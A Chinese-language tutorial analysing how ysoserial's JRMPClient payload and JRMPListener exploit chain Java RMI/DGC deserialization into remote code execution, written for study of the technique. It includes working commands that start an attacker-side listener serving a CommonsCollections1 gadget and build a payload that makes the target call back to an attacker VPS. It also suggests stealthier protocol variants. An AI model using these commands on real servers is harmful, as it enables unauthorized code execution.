ysoserial JRMP相关模块分析(二)- payloads/JRMPClient & exploit/JRMPListener
字数 2014 2025-08-27 12:33:22
JRMP相关模块分析与利用教学文档
一、JRMPClient与JRMPListener概述
1.1 基本概念
- JRMPClient:属于payloads模块,生成发送给目标机器的payload
- JRMPListener:属于exploit模块,在攻击者服务器上使用
- 依赖关系:JRMPClient的利用离不开JRMPListener,但JRMPListener可以独立使用
1.2 利用流程概述
- 攻击者在VPS上启动JRMPListener,并指定反序列化payload
- 向漏洞服务器发送JRMPClient生成的payload
- 漏洞服务器反序列化JRMPClient payload
- 反序列化过程中与JRMPListener建立通信
- JRMPListener将自定义payload返回给漏洞服务器
- 漏洞服务器反序列化JRMPListener返回的payload
- 执行RCE
二、JRMPClient深入分析
2.1 核心调用流程
getObject()
→ 创建LiveRef(host, port, objID)
→ 封装为UnicastRef
→ 封装为RemoteObjectInvocationHandler
→ 通过Proxy.newProxyInstance生成proxy
2.2 关键类分析
-
RemoteObjectInvocationHandler:
- 作为proxy的invocationHandler成员变量
- 反序列化时自动调用父类RemoteObject的readObject
-
RemoteObject.readObject:
if (ref == null) { ref = new UnicastRef(); } else { ref.readExternal(in); } -
UnicastRef.readExternal:
- 最终调用DGCImpl_Stub的dirty方法
- 类似于RMI反序列化利用中的RegistryImpl_Stub
2.3 通信机制
- 使用DGC(Distributed Garbage Collection)功能而非Registry功能
- 通过UnicastRef.newCall发送通信信息
- 通过invoke处理JRMPListener的反馈
三、JRMPListener深入分析
3.1 核心流程
main()
→ 创建payloadObject
→ 初始化JRMPListener
→ run()
→ accept客户端连接
→ 处理JRMP协议
→ doMessage()
→ doCall()
→ 发送payload
3.2 关键实现细节
-
协议处理:
- 识别JRMP协议(标志75/76)
- 处理TransportConstants.Call(80)
-
payload发送:
out.writeByte(TransportConstants.ExceptionalReturn); // 2 ObjectOutputStream oos = new MarshalOutputStream(out); oos.writeObject(new BadAttributeValueExpException(payload)); -
payload构造:
- 使用BadAttributeValueExpException包装
- val成员设置为CommonsCollections等gadget
四、完整攻击流程分析
4.1 攻击步骤详解
-
启动JRMPListener:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'calc.exe' -
生成JRMPClient payload:
java -jar ysoserial.jar JRMPClient 'vpsIP:PORT' > vulrServer -
漏洞服务器反序列化流程:
- 反序列化JRMPClient payload
- 连接JRMPListener
- 接收并反序列化JRMPListener返回的payload
- 触发RCE
4.2 协议交互细节
-
客户端→服务端:
- 发送75/76标志
- 发送80(Call)请求
-
服务端→客户端:
- 返回2(ExceptionalReturn)
- 包含BadAttributeValueExpException异常
-
客户端处理:
- 在DGCImpl_Stub.dirty中接收响应
- 通过UnicastRef.invoke处理
- 在StreamRemoteCall.executeCall中反序列化异常
五、技术要点总结
5.1 关键差异
| 特性 | RMI利用 | JRMP利用 |
|---|---|---|
| 利用功能 | Registry | DGC |
| 控制端 | Client | Listener(Server) |
| 主要类 | RegistryImpl_Stub | DGCImpl_Stub |
| 协议标志 | 80/81 | 75/76/80/81/2 |
5.2 协议标志含义
| 值 | 常量 | 描述 |
|---|---|---|
| 75 | TransportConstants.ProtocolAck | 协议确认 |
| 76 | TransportConstants.ProtocolOp | 协议操作 |
| 80 | TransportConstants.Call | 调用请求 |
| 81 | TransportConstants.Return | 正常返回 |
| 2 | TransportConstants.ExceptionalReturn | 异常返回 |
5.3 防御建议
- 限制反序列化操作
- 过滤RemoteObjectInvocationHandler等危险类
- 监控可疑的JRMP/DGC通信
- 及时更新Java安全补丁
六、扩展思考
- 其他Impl_Stub类:除DGCImpl_Stub和RegistryImpl_Stub外,可探索其他RMI组件的利用可能性
- 双向利用:根据实际情况灵活选择控制Client或Server端
- 协议变异:研究修改协议标志实现更隐蔽的攻击
- 回显技术:结合异常处理机制实现命令执行结果回显